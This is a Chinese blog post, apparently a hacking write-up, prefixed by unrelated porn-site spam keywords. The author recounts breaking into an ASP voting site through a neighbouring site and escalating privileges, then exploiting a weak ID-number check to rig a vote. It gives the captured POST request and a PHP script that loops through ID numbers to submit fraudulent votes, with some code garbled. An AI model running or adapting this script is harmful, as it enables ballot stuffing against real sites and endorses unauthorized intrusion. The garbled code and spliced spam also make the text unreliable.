人人视频精品,精品欧美激情精品一区,久久黄色网页

前幾日朋友找我幫忙.說是在一個網站參加樣板房投票競選.有沒有辦法幫他刷第一票.心腸好的我自然是答應了.然后朋友發來了網站..看了下是asp的..服務器安全做的還不錯..沒找到任何程序上的漏洞..通過旁注提權入侵進去后.發現管理員真的是很變態..本來打算修改數據庫的.剛看了下投票的代碼準備找出數據庫連接文件.就被管理踢了..接著這事就擱下了..過了幾天朋友又催..只好又看了下..才發現所有的漏洞都已經補掉..

還是直接從投票上入手把.希望可以找到突破口直接達到刷票的目的.投票選項如圖1.

圖1

朋友的樣板房名為"風華廊"所以圖1中我勾選上了"風·華廊"最多可選10項..其中姓名.聯系電話.身份證號碼都是虛構的.經過反復投票測試.此投票系統只對身份證號碼進行了驗證..假設一下身份證號為1234567890.姓名為測試.聯系電話:13013011111 只需要把身份證號碼改為別的數字.如1234567891就可以再投上一票..并未對IP和cookies進行驗證.完全可以達到刷票的目的..

圖2是我抓的投票成功的數據包.

圖1

Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel=13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB

根據數據包構造出URL為

http://www.xxxx.com/ad/20061221/a.asp?action=add&Aname=%B7%E7%26%238226%3B%BB%AA% ... 13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB

直接在IE里打開此頁面會出現如圖3的提示

圖1

但只要我們把其中的idcord=1234567890改為idcord=1234567891就會出現投票成功的對話框.知道了投票系統存在的缺陷后..現在就想辦法利用程序實現刷票的目的..

寫一個發包的程序把idcord設置為一個變量.然后每發送一次數據這個變量得數字就增加一個數.比如idcord=1234567**9循環一次就是idcord=1234567*79自動改變其中的數值..

這樣的程序用VB.C.ASP,PHP都不難實現..下面就介紹下PHP的..以下所涉及到的PHP代碼為EST的兄弟TTFCT所寫.

程序完整代碼(目標網站做了相應處理)

{?php
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",2);
print_r(Voting.... );
for($i=0;$i〈=9;$i++)
for($j=0;$j〈=9;$j++)
for($k=0;$k〈=9;$k++)
for($l=0;$l〈=9;$l++)
{
$packet ="POST /ad/20061221/a.asp?action=add HTTP/1.1 \r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */* \r\n";
$packet.="Referer: http//www.xxx.com/ad/20061221/a.asp \r\n";
$packet.="Accept-Language: zh-cn \r\n";
$packet.="Content-Type: application/x-www-form-urlencoded \r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)\r\n";
$packet.="Host: www.xxx.com \r\n";
$packet.="Content-Length: 113 \r\n";
$packet.="Connection: Keep-Alive \r\n";
$packet.="Cache-Control: no-cache \r\n";
$packet.="Cookie: ASPSESSIONIDASDCQDBT=NKKJPDLAMAMNHJHHNBBLOCCH\r\n\r\n";
$packet.="Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel
=13013011111&idcord=1234".$i.$j.$k.$l."90&Submit=%CC%E1%BD%BB\r\n";
if($fp=fsockopen("))
if(fwrite($fp,$packet,strlen($packet)))
print_r(
Success to vote
);
sleep(2);
print_r(
Wait for 2 seconds
);
}
?}